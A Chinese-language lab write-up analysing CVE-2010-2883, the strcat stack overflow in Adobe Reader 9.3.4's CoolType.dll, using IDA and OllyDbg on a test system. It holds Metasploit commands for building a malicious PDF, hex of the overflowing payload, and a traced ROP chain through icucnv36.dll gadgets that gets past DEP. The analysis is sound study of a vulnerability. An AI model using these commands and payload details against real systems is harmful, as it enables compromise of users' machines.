漏洞战争-cve-2010-2883
13 minute read
0x00 漏洞情况
漏洞出现在cooltype.dll文件中,由strcat调用产生栈溢出漏洞
strcat:
原型
extern char *strcat(char *dest,char *src);
用法
#include <string.h>
在C++中,则存在于<cstring>头文件中.
功能
把src所指字符串添加到dest结尾处(覆盖dest结尾处的'\0').
说明
src和dest所指内存区域不可以重叠且dest必须有足够的空间来容纳src的字符串.
返回指向dest的指针.
准备工作:
1.下载adobe reader 9.3.4
神器站点:
https://www.oldapps.com/index.php
2.制作恶意pdf:
https://www.freebuf.com/vuls/80072.html
msfconsole
search cve-2010-2883
use exploit/windows/fileformat/adobe_cooltype_sing
set payload windows/exec
set cmd calc.exe
exploit
3.实验系统:
windwos 2003 R2 sp2 32位
0x01 ida对应代码
1.安装adobe reader9.3.4后,将cooltype.dll用ida打开
2.搜索方法:
ctrl+s
双击.text段
alt+t搜索所有"SING"
在9个结果中一一打开
发现第二个搜索结果为书中的关键有溢出代码处
3.具体如下:
------------------key code------------------
.text:0803DBF2 push ebp
.text:0803DBF3 sub esp, 104h
.text:0803DBF9 lea ebp, [esp-4]
.text:0803DBFD mov eax, ___security_cookie
.text:0803DC02 xor eax, ebp
.text:0803DC04 mov [ebp+108h+var_4], eax
.text:0803DC0A push 4Ch
.text:0803DC0C mov eax, offset sub_81847C4
.text:0803DC11 call __EH_prolog3_catch
.text:0803DC16 mov eax, [ebp+108h+arg_C]
.text:0803DC1C mov edi, [ebp+108h+arg_0]
.text:0803DC22 mov ebx, [ebp+108h+arg_4]
.text:0803DC28 mov [ebp+108h+var_130], edi
.text:0803DC2B mov [ebp+108h+var_138], eax
.text:0803DC2E call sub_8041626
.text:0803DC33 xor esi, esi
.text:0803DC35 cmp dword ptr [edi+8], 3
.text:0803DC39 mov [ebp+108h+var_10C], esi
.text:0803DC3C jz loc_803DDF9
.text:0803DC42 mov [ebp+108h+var_124], esi
.text:0803DC45 mov [ebp+108h+var_120], esi
.text:0803DC48 cmp dword ptr [edi+0Ch], 1
.text:0803DC4C mov byte ptr [ebp+108h+var_10C], 1
.text:0803DC50 jnz loc_803DDA2
.text:0803DC56 push offset aName ; "name"
.text:0803DC5B push edi ; int
.text:0803DC5C lea ecx, [ebp+108h+var_124]
.text:0803DC5F mov [ebp+108h+var_119], 0
.text:0803DC63 call sub_802178F
.text:0803DC68 cmp [ebp+108h+var_124], esi
.text:0803DC6B jnz short loc_803DCD6
.text:0803DC6D push offset aSing ; "SING"
.text:0803DC72 push edi ; int
.text:0803DC73 lea ecx, [ebp+108h+var_12C]
.text:0803DC76 call sub_8021ABE
.text:0803DC7B mov eax, [ebp+108h+var_12C]
.text:0803DC7E cmp eax, esi
.text:0803DC80 mov byte ptr [ebp+108h+var_10C], 2
.text:0803DC84 jz short loc_803DCBD
.text:0803DC86 mov ecx, [eax]
.text:0803DC88 and ecx, 0FFFFh
.text:0803DC8E jz short loc_803DC98
.text:0803DC90 cmp ecx, 100h
.text:0803DC96 jnz short loc_803DCB9
.text:0803DC98
.text:0803DC98 loc_803DC98: ; CODE XREF: sub_803DBF2+9Cj
.text:0803DC98 add eax, 10h
.text:0803DC9B push eax ; char *
.text:0803DC9C lea eax, [ebp+108h+var_108]
.text:0803DC9F push eax ; char *
.text:0803DCA0 mov [ebp+108h+var_108], 0
.text:0803DCA4 call strcat
.text:0803DCA9 pop ecx
.text:0803DCAA pop ecx
.text:0803DCAB lea eax, [ebp+108h+var_108]
.text:0803DCAE push eax
.text:0803DCAF mov ecx, ebx
.text:0803DCB1 call sub_8001243
.text:0803DCB6 mov eax, [ebp+108h+var_12C]
--------------end------------------------
4.分析
a.803dca4处的call strcat的两个参数为803dc9b处的eax和803dc9f处的eax
b.在803dc9b处下断调试容易跟踪详情
0x02 od动态跟踪
1.打开reader,od附加,f9
2.ctrl+g:803dc9b,f2
3.reader中打开msf.pdf
4.od中断到803dc9b处,eax=3a0481c,对应eax中内容如下:
------------source------------
C1 23 FF 72 29 25 28 FA 14 A7 82 4A 0C 0C 0C 0C 1A 49 4D 57 BA 5E 73 48 4C 17 A1 86 CC 31 4A 54
8A 21 53 5A D0 1E 19 C5 14 E2 3F 09 B5 0B 22 8A 04 DD AA 0D 70 22 95 B7 3D 4F 7C B6 BF FB D3 88
ED D0 8B 34 71 AD 87 22 9A B5 7E 26 17 8F B0 0A CA F5 B3 ED 30 AC B8 98 F8 4A 56 98 42 87 9D 4A
AB E5 BF 42 08 59 D0 79 1A 7A 7B 6C B7 C7 6D A7 98 66 B2 43 0C A1 7D 34 27 59 BC D2 E6 5B A1 09
2C 94 DA 54 C3 51 54 CC C1 1B E7 0A 5D ED 16 8E 15 0B 57 30 5A 22 6E D4 73 1D C3 C5 7F 5D F7 6C
8C 86 FE 39 88 59 1C 66 A6 D3 20 57 04 CE 8C 58 D6 24 BB 75 05 BE 32 EE E3 31 23 FC 3B EA DC C1
31 60 F7 89 33 A7 EF 7E BD 48 57 EB 7B DB 64 BD 91 D6 C3 D4 74 CA ED 29 4B 1C AE DA EB 81 01 4A
BB 21 7F 1D A9 68 6A C7 87 7C 74 3B 27 8F 73 81 42 5F 84 AE 6A 88 92 40 F7 33 B1 FC 46 17 A7 86
88 FE 04 BC 2D 05 87 A9 89 A3 DD A3 60 E6 7B 49 96 6E EA 95 EE 0C 0B 15 5D 56 0E 8B 55 8C 80 C3
48 B6 B3 8E 1E 80 8A BC 09 71 E4 11 09 97 23 EE C6 08 8A 4A 24 13 A8 4D E5 05 43 96 AC BA 8D FC
AF 55 9F 3C 3A 84 7E 7B 93 DB 75 2B E3 C7 BF 22 44 2E 46 01 40 8E EA 48 49 F6 C6 ED 0C F4 82 7D
29 6C B6 DC 7E 73 14 93 F3 71 91 71 C7 B8 FE 0A F3 AF EF 38 B1 EC B5 4C F7 79 DF 50 92 EF D3 D8
8E BB 68 A1 07 3B CC 97 5D 2A 0D CF 82 AB AC 62 7A 7F 15 E9 DE 2E F4 E6 6B 5F 86 F2 F5 E2 8F 26
B1 BE 30 EC 1F AE B5 7F 6B 83 BD 67 B9 6B 74 02 34 70 BC C4 CB CF DA 27 C2 3D F7 C1 99 14 49 15
AC C3 CE 15 DF 97 9D 41 B5 A5 6E C9 7C B6 3E F0 97 6C 12 ED D1 B7 07 24 11 11 EB 83 E5 89 E4 B5
57 0F 68 52 46 41 5D BB 5A EF 11 07 16 2B D6 C3 0E 96 0C DD F3 38 33 4F 38 CB 80 4A D7 41 7D 87
3B CA 10 96 BF D5 70 4C 63 B6 A7 C9 CE 0F 61 0B 6C CB 52 EF 11 0C 51 7A E7 2F 39 22 0D 28 6A 89
87 C4 C3 56 AC 9D 48 DC C8 60 B1 8F 02 6D 49 6B 90 85 E0 C5 FD 5F D1 AA 30 ED FD C2 6C 00 00 00
-------------end--------------
共18*32-3=573个字节
5.f8,f8,f8到803dca0处时eax=12e4b0,也即strcat的目标地址(第一个参数)
(12e4b0在堆栈窗口中跟随)
------------12e4b0-------------
0012E4B0 0012E400
0012E4B4 0012E688
0012E4B8 00000000
0012E4BC 91E717D0
0012E4C0 0012E830
0012E4C4 0823AE9C CoolType.0823AE9C
0012E4C8 080852EF 返回到 CoolType.080852EF 来自 CoolType.0804818F
0012E4CC 0823A650 CoolType.0823A650
0012E4D0 044498BC
0012E4D4 08080D0B CoolType.08080D0B
0012E4D8 046B1C1C
0012E4DC 0012E4AC
0012E4E0 0012E528
0012E4E4 0136F8AF AcroRd_1.0136F8AF
0012E4E8 FFFFFFFF
0012E4EC 010CB9DC 返回到 AcroRd_1.010CB9DC 来自 AcroRd_1.00BB1899
0012E4F0 011BA90A 返回到 AcroRd_1.011BA90A
0012E4F4 0012E55C
0012E4F8 0012E56C
0012E4FC 0012E558
0012E500 /0012E554
0012E504 |011BA949 返回到 AcroRd_1.011BA949 来自 AcroRd_1.00BB1899
0012E508 |91E71706
0012E50C |00000004
0012E510 |0012E688
0012E514 |00000000
0012E518 |0012E518
0012E51C |011BA90A 返回到 AcroRd_1.011BA90A
0012E520 |0012E588
0012E524 |0012E598
-------------end---------------
f8执行到803dca4处,此时下一句为strcat,803dca0处的mov byte ptr ss:[ebp],0x0,ss:[ebp]在od中看到是eax的大小(0x12e4b0),这句mov指令将12e4b0内存地址对应的数据内容中的数据的第一个字节置0,这样strcat(argv1=0x12e4b0,argv2=0x3a0481c)的第一个参数对应内存数据的最低一个字节的内容变为0,于是strcat将从12e4b0处开始拼接第二个参数对应的内存数据,而12e4b0在堆栈窗口中的情况如上所示
(12e4b0在数据窗口中跟随)
--------------start--------------
00 E4 12 00 88 E6 12 00 00 00 00 00 9E 4F 26 04 30 E8 12 00 9C AE 23 08 A9 51 08 08 50 A6 23 08
4C 97 B8 03 D1 0B 08 08 A4 5A 9F 03 AC E4 12 00 28 E5 12 00 76 BE 36 01 FF FF FF FF 87 85 0C 01
DA 75 1B 01 5C E5 12 00 6C E5 12 00 58 E5 12 00 54 E5 12 00 19 76 1B 01 78 4C 26 04 04 00 00 00
88 E6 12 00 00 00 00 00 18 E5 12 00 DA 75 1B 01 88 E5 12 00 98 E5 12 00 AC E5 12 00 E2 8D 36 01
FF FF FF FF 19 76 1B 01 88 E6 12 00 00 02 00 00 78 E5 12 00 6E 30 08 08 B4 E6 12 00 AC 5A 9F 03
04 00 00 00 04 00 00 00 35 83 04 08 0A 4F 26 04 04 00 00 00 E0 E5 12 00 00 00 00 00 01 00 00 00
04 00 00 00 5C E5 12 00 A8 E5 12 00 BC E5 12 00 6D 1C 17 08 66 33 15 0C FE FF FF FF 35 83 04 08
3F 73 01 08 60 E6 12 00 08 00 00 00 04 00 00 00 57 10 00 08 84 73 01 08 4E 4F 26 04 04 00 00 00
A8 E6 12 00 36 4E 26 04 F0 E6 12 00 87 D0 0D 08 F0 E6 12 00 E0 E5 12 00 00 00 00 00 D8 E6 12 00
76 4C 26 04 30 E8 12 00 9C AE 23 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
--------------end----------------
6.12e4b0处开始的第7个栈单元(12e4c8)中内容为某函数的retn地址080851a9
易知12e4c8处首先被覆盖成86a1174c(12e4b0对应的堆栈窗口中第七个栈单元的内容)
但是书中解释cve-2010-2883是由于在12e4b0处开始的第四个栈单元的内容被覆盖成0c0c0c0c才导致可heap spray的,困惑,为何会是第4个栈单元的内容被覆盖后会是eip,od中的堆栈窗口的的关键字"返回到..."应该才是某函数的返回地址,再由返回地址被覆盖成0c0c0c0c从而heap spray的,继续在od中跟踪看看,发现在本函数帧执行完(执行完retn)之前就会执行弹出calc.exe程序,说明strcat导致的溢出并不是覆盖了12e4b0处开始的第七个栈单元的某函数的返回地址而溢出calc.exe的,这样的话,导致溢出eip的应该是下一个,或下面第几个的call调用
strcat函数调用后的下一个函数帧正常的执行情况是:
a>由于strcat函数在12e4b0处拼接了超长数据,执行完strcat后esp=12e440
b>与call strcat同一帧(执行retn之前)中的函数调用--->在eip执行到0x803dda8处的call 08016b96调用为关键call调用,此处f8将弹出calc.exe
c>可见08016b96的子函数帧(也即08016b96下面的函数帧)会导致calc.exe的payload被执行,eip=803dda8时esp=0012e43c,对应堆栈窗口数据如下:
-----------------esp=0012e43c-----------------
0012E43C 0012E6F0
0012E440 0012E5E0
0012E444 0012E494
0012E448 171C3D91
0012E44C 00000004
0012E450 0012E6A8
0012E454 00000000
0012E458 023279D0
0012E45C 02327850 UNICODE "ation or Bitstream Inc., respectively. For further information, contact: fonts at gnome dot org.http"
0012E460 04908DE0
0012E464 04908DD4
0012E468 /0012E498
0012E46C |781474D8 返回到 msvcr80.781474D8 来自 msvcr80.78147424
0012E470 |02327850 UNICODE "ation or Bitstream Inc., respectively. For further information, contact: fonts at gnome dot org.http"
0012E474 |04908DE0
0012E478 |000001F4
0012E47C |0000000C
0012E480 |0012E6D8
0012E484 |0012E6A8
0012E488 |0012E6F0
0012E48C |047C5634
0012E490 |00001DDF
0012E494 |00000000
0012E498 \00000000
0012E49C 010C8577 返回到 AcroRd_1.010C8577 来自 AcroRd_1.00BC1A14
--------------------end-----------------------
d>esp=12e43c,还没到12e4b0,也即在eip=803dda8时,在上面对应堆栈窗口中可以看到有两个retn地址(对应"返回到..."),可能是因为这两个返回地址在执行完803dda8处的call 8016b96之后被覆盖从而控制eip,但是cve-2010-2883是一个由strcat拼接超长字符串造成的溢出,拼接是从12e4b0处开始的,也即在12e4b0之前的数据是否被覆盖都是不用考虑的,而803dda8处的call 8016b96中,函数8016b96的子函数帧的堆栈空间更是会在当前的esp之上重新开辟(小于当前esp,更小于12e4b0),更不用考虑是不是由于函数8016b96的子函数帧中的函数调用覆盖了函数返回地址导致可控eip,这样的话,只能是由于函数8016b96帧中的某一句汇编指令调用了不可读或不可写的内存地址的数据或其他的原因导致异常,从而执行异常处理程序,而要控制eip,只能是覆盖seh链中异常处理程序的函数地址
e>在803dda8处f7进入8016b96函数,一直f8到8016c0e处的801bad9,再f8便会弹出calc.exe,可见是8016c0e中的汇编指令导致eip可控的,f7进入801bad9函数
--------------------801bad9函数帧----------------------
0801BAD9 55 push ebp
0801BADA 8BEC mov ebp,esp
0801BADC FF75 20 push dword ptr ss:[ebp+0x20]
0801BADF 8B4D 08 mov ecx,dword ptr ss:[ebp+0x8]
0801BAE2 FF75 1C push dword ptr ss:[ebp+0x1C]
0801BAE5 8B01 mov eax,dword ptr ds:[ecx]
0801BAE7 FF75 18 push dword ptr ss:[ebp+0x18]
0801BAEA FF05 A0A62308 inc dword ptr ds:[0x823A6A0]
0801BAF0 FF75 14 push dword ptr ss:[ebp+0x14]
0801BAF3 FF75 10 push dword ptr ss:[ebp+0x10] ; ntdll.7C959EBC
0801BAF6 FF75 0C push dword ptr ss:[ebp+0xC] ; ntdll.7C959E05
0801BAF9 FF10 call dword ptr ds:[eax]
0801BAFB 84C0 test al,al
0801BAFD 75 06 jnz short CoolType.0801BB05
0801BAFF FF0D A0A62308 dec dword ptr ds:[0x823A6A0]
0801BB05 5D pop ebp ; CoolType.08016C13
0801BB06 C3 retn
-----------------------end-----------------------------
f>也即在上面的801bad9函数帧中801bb06处的retn之前的这几句中将导致异常,然后进入异常处理程序,此时eip=801bad9,seh链表如下:
---------------------seh------------------------
SEH 链用于 主线程
地址 SE处理程序
0012DDC4 CoolType.08175AA2
0012E4A4 CoolType.081847C4
0012E6E4 C2FDED30
---------------------end------------------------
g>f8到801baf9处的call ds:[eax],如果再f8将弹出calc.exe,说明是801baf9处的call ds:[eax]导致的异常,或是ds:[eax]的子函数导致异常,f7进入808afce(ds:[eax]=808afce)
h>f8到808b1c0处的ds:[eax],如果再f8将弹出calc.exe,说明是808b1c0处的call ds:[eax]导致的异常,或是ds:[eax]的子函数导致异常,f7进入4a80cb38(ds:[eax]),4a80cb38处汇编指令如下:
-----------------4a80cb38-------------------
4A80CB38 81C5 94070000 add ebp,0x794
4A80CB3E C9 leave
4A80CB3F C3 retn
-------------------end----------------------
此时的seh链如下:(没有改变)
-------------seh---------------
SEH 链用于 主线程
地址 SE处理程序
0012DDC4 CoolType.08175AA2
0012E4A4 CoolType.081847C4
0012E6E4 C2FDED30
-------------end---------------
i>f8执行到4a80cb3e处,ebp=12e4b4,leave=mov esp,ebp+pop ebp,可见执行到4a80cb3f处时,esp=12e4b4+4=12e4b8,而strcat拼接造成的溢出中strcat的第一个参数为12e4b0,且是从12e4b0处开始拼接(因为12e4b0的低字节为00),所以是现在如果在4a80cb3f处f8,将转到12e4b8中的地址去执行,也即会使得eip=ss:[12e4b8],也即strcat第一个参数12e4b0下面的第三个栈单元中的数据,也即来自于strcat函数的第二个参数3a0481c对应内存数据的第三个栈单元的值将成为eip,strcat的第二个参数对应内存中的第三个以后的数据如下:
------------source------------
C1 23 FF 72 29 25 28 FA 14 A7 82 4A 0C 0C 0C 0C 1A 49 4D 57 BA 5E 73 48 4C 17 A1 86 CC 31 4A 54
8A 21 53 5A D0 1E 19 C5 14 E2 3F 09 B5 0B 22 8A 04 DD AA 0D 70 22 95 B7 3D 4F 7C B6 BF FB D3 88
ED D0 8B 34 71 AD 87 22 9A B5 7E 26 17 8F B0 0A CA F5 B3 ED 30 AC B8 98 F8 4A 56 98 42 87 9D 4A
AB E5 BF 42 08 59 D0 79 1A 7A 7B 6C B7 C7 6D A7 98 66 B2 43 0C A1 7D 34 27 59 BC D2 E6 5B A1 09
2C 94 DA 54 C3 51 54 CC C1 1B E7 0A 5D ED 16 8E 15 0B 57 30 5A 22 6E D4 73 1D C3 C5 7F 5D F7 6C
8C 86 FE 39 88 59 1C 66 A6 D3 20 57 04 CE 8C 58 D6 24 BB 75 05 BE 32 EE E3 31 23 FC 3B EA DC C1
31 60 F7 89 33 A7 EF 7E BD 48 57 EB 7B DB 64 BD 91 D6 C3 D4 74 CA ED 29 4B 1C AE DA EB 81 01 4A
BB 21 7F 1D A9 68 6A C7 87 7C 74 3B 27 8F 73 81 42 5F 84 AE 6A 88 92 40 F7 33 B1 FC 46 17 A7 86
88 FE 04 BC 2D 05 87 A9 89 A3 DD A3 60 E6 7B 49 96 6E EA 95 EE 0C 0B 15 5D 56 0E 8B 55 8C 80 C3
48 B6 B3 8E 1E 80 8A BC 09 71 E4 11 09 97 23 EE C6 08 8A 4A 24 13 A8 4D E5 05 43 96 AC BA 8D FC
AF 55 9F 3C 3A 84 7E 7B 93 DB 75 2B E3 C7 BF 22 44 2E 46 01 40 8E EA 48 49 F6 C6 ED 0C F4 82 7D
29 6C B6 DC 7E 73 14 93 F3 71 91 71 C7 B8 FE 0A F3 AF EF 38 B1 EC B5 4C F7 79 DF 50 92 EF D3 D8
8E BB 68 A1 07 3B CC 97 5D 2A 0D CF 82 AB AC 62 7A 7F 15 E9 DE 2E F4 E6 6B 5F 86 F2 F5 E2 8F 26
B1 BE 30 EC 1F AE B5 7F 6B 83 BD 67 B9 6B 74 02 34 70 BC C4 CB CF DA 27 C2 3D F7 C1 99 14 49 15
AC C3 CE 15 DF 97 9D 41 B5 A5 6E C9 7C B6 3E F0 97 6C 12 ED D1 B7 07 24 11 11 EB 83 E5 89 E4 B5
57 0F 68 52 46 41 5D BB 5A EF 11 07 16 2B D6 C3 0E 96 0C DD F3 38 33 4F 38 CB 80 4A D7 41 7D 87
3B CA 10 96 BF D5 70 4C 63 B6 A7 C9 CE 0F 61 0B 6C CB 52 EF 11 0C 51 7A E7 2F 39 22 0D 28 6A 89
87 C4 C3 56 AC 9D 48 DC C8 60 B1 8F 02 6D 49 6B 90 85 E0 C5 FD 5F D1 AA 30 ED FD C2 6C 00 00 00
-------------end--------------
也即为上面的4a82a714,第四个栈单元的值为0c0c0c0c
j>此时的seh如下(没有改变)
--------------seh--------------
SEH 链用于 主线程
地址 SE处理程序
0012DDC4 CoolType.08175AA2
0012E4A4 CoolType.081847C4
0012E6E4 C2FDED30
--------------end--------------
f8步过4a80cb3f处的retn,eip=4a82a714,开始了rop(ret2lib)
-----------------4a82a714---------------------
4A82A714 5C pop esp ; 0C0C0C0C
4A82A715 C3 retn
-------------------end------------------------
0c0c0c0c对应的堆栈窗口中数据如下:
-------------0c0c0c0c-------------
0C0C0C0C 4A8063A5 icucnv36.4A8063A5
0C0C0C10 4A8A0000 ASCII "UTF-32"
0C0C0C14 4A802196 icucnv36.4A802196
0C0C0C18 4A801F90 icucnv36.4A801F90
0C0C0C1C 4A84903C <&KERNEL32.CreateFileA>
0C0C0C20 4A80B692 icucnv36.4A80B692
0C0C0C24 4A801064 icucnv36.4A801064
0C0C0C28 4A8522C8 ASCII "iso88591"
0C0C0C2C 10000000 offset RdLang32.<ModuleEntryPoint>
0C0C0C30 00000000
0C0C0C34 00000000
0C0C0C38 00000002
0C0C0C3C 00000102
0C0C0C40 00000000
0C0C0C44 4A8063A5 icucnv36.4A8063A5
0C0C0C48 4A801064 icucnv36.4A801064
0C0C0C4C 4A842DB2 icucnv36.4A842DB2
0C0C0C50 4A802AB1 icucnv36.4A802AB1
0C0C0C54 00000008
0C0C0C58 4A80A8A6 icucnv36.4A80A8A6
0C0C0C5C 4A801F90 icucnv36.4A801F90
0C0C0C60 4A849038 <&KERNEL32.CreateFileMappingA>
0C0C0C64 4A80B692 icucnv36.4A80B692
0C0C0C68 4A801064 icucnv36.4A801064
0C0C0C6C FFFFFFFF
</ModuleEntryPoint>
----------------end---------------
此时seh链如下:(依然不变)
-----------seh------------
SEH 链用于 主线程
地址 SE处理程序
0012DDC4 CoolType.08175AA2
0012E4A4 CoolType.081847C4
0012E6E4 C2FDED30
-----------end------------
可见并不是由于产生异常导致的seh链被覆盖使得eip可控,还没进seh处理函数就已经开始了shellcode的执行,这篇文章说的是由于异常造成的应该是不正确的
http://bbs.ichunqiu.com/thread-8849-1-1.html
在汇编中,段寄存器名称如下:
CS(Code Segment):代码段寄存器;
DS(Data Segment):数据段寄存器;
SS(Stack Segment):堆栈段寄存器;
在上面第h步跟踪到808b1c0处的call ds:[eax]处时,eax=12e6a8,在数据窗口中ctrl+g:12e6a8,数据为:
--------------ds:[12e6a8]--------------
0012E6A8 38 CB 80 4A D7 41 7D 87 3B CA 10 96 BF D5 70 4C 8藔J譇}??柨誴L
-----------------end-------------------
在堆栈窗口中ctrl+g:12e6a8,数据为:
--------------ss:[12e6a8]--------------
0012E6A8 4A80CB38 返回到 icucnv36.4A80CB38 来自 icucnv36.4A846C49
0012E6AC 877D41D7
0012E6B0 9610CA3B
0012E6B4 4C70D5BF
------------------end------------------
ds段和ss段的数据竟然一样,暂且不管为什么会这样,由于808b1c0处为call ds:[eax],也即相当于call ss:[12e6a8],而前面strcat函数执行完后12e4b0处是开始被拼接的位置,且前面strcat拼接的长度是573,0x12e6a8-0x12e4b0=504<573,所以是strcat可控的,因此只要将strcat的第二个参数的第505到508个字节的数据设置为shellcode的起始地址就实现了控制eip了,而由msf生成的payload中的strcat中的第二个参数的第505到508构成的内存地址为4a80cb38
也就是说,真正开始执行shellcode的是由于:
808b1c0处的call ds:[eax]相当于call ss:[12e6a8],而ss:[12e6a8]在执行strcat时是可以通过第二个参数控制的,也即这个漏洞触发的根本在于strcat的第二个参数的第505到508个字节构成的地址会覆盖掉strcat第一个参数(strcat函数的目标拼接地址)后面第505到508个字节,而这个位置是会在被808b1c0处被call的.
于是只要构造第二个参数的505到508个地址为rop的第一条指令的地址就可以了,msf生成构成的strcat的第二个参数为如下的shellcode链:
c1 23 ff 72 29 25 28 fa + 14 a7 82 4a + 0c 0c 0c 0c + ... + 38 cb 80 4a
由于808b1c0处的call ds:[eax]===>call 4a80cb38,而4a80cb38是代码段中的数据(汇编窗口中为代码段),如下:
------------4a80cb38------------
4A80CB38 81C5 94070000 add ebp,0x794
4A80CB3E C9 leave
4A80CB3F C3 retn
---------------end--------------
执行完4a80cb38处的gadget后,将跳到4a82a714处开始执行,而跳转地址的稳定性是依靠4a80cb38和4a82a714这两个adobe reader的icucnv36.dll模块中的地址,这两个地址是可执行的,
---------------cs:[4a82a714]---------------
4A82A714 5C pop esp ; 0C0C0C0C
4A82A715 C3 retn
---------------------end-------------------
pop esp会使得esp=0c0c0c0c,也就是将0c0c0c0c处的数据"入栈",pop esp后的retn将使eip=[0c0c0c0c],而0c0c0c0c处的内容如下:
-------------------ss:[0c0c0c0c]-------------------------
0C0C0C0C 4A8063A5 icucnv36.4A8063A5
0C0C0C10 4A8A0000 ASCII "UTF-32"
0C0C0C14 4A802196 icucnv36.4A802196
0C0C0C18 4A801F90 icucnv36.4A801F90
0C0C0C1C 4A84903C <&KERNEL32.CreateFileA>
0C0C0C20 4A80B692 icucnv36.4A80B692
0C0C0C24 4A801064 icucnv36.4A801064
0C0C0C28 4A8522C8 ASCII "iso88591"
0C0C0C2C 10000000 offset RdLang32.<ModuleEntryPoint>
0C0C0C30 00000000
0C0C0C34 00000000
0C0C0C38 00000002
0C0C0C3C 00000102
0C0C0C40 00000000
0C0C0C44 4A8063A5 icucnv36.4A8063A5
0C0C0C48 4A801064 icucnv36.4A801064
0C0C0C4C 4A842DB2 icucnv36.4A842DB2
0C0C0C50 4A802AB1 icucnv36.4A802AB1
0C0C0C54 00000008
0C0C0C58 4A80A8A6 icucnv36.4A80A8A6
0C0C0C5C 4A801F90 icucnv36.4A801F90
0C0C0C60 4A849038 <&KERNEL32.CreateFileMappingA>
0C0C0C64 4A80B692 icucnv36.4A80B692
0C0C0C68 4A801064 icucnv36.4A801064
0C0C0C6C FFFFFFFF
0C0C0C70 00000000
0C0C0C74 00000040
-------------------------end-----------------------------
然后跳到0c0c0c0c中构造好的rop链开始执行,0c0c0c0c处存放的"地址串"正是构造好的用来关闭dep的gadgets,这里与一般的heap spray的绕过aslr中的0c0c0c0c的功能有点不同,heap spray中的0c0c0c0c处存放的是shellcode,也即令eip=0c0c0c0c,这里是eip=[0c0c0c0c],也即在0c0c0c0c处不存shellcode,而是存rop gadgets,试想,如果在strcat的第二个参数的第505到508字节存为0c0c0c0c,然后在0c0c0c0c处存放shellcode也是可以达到目的的.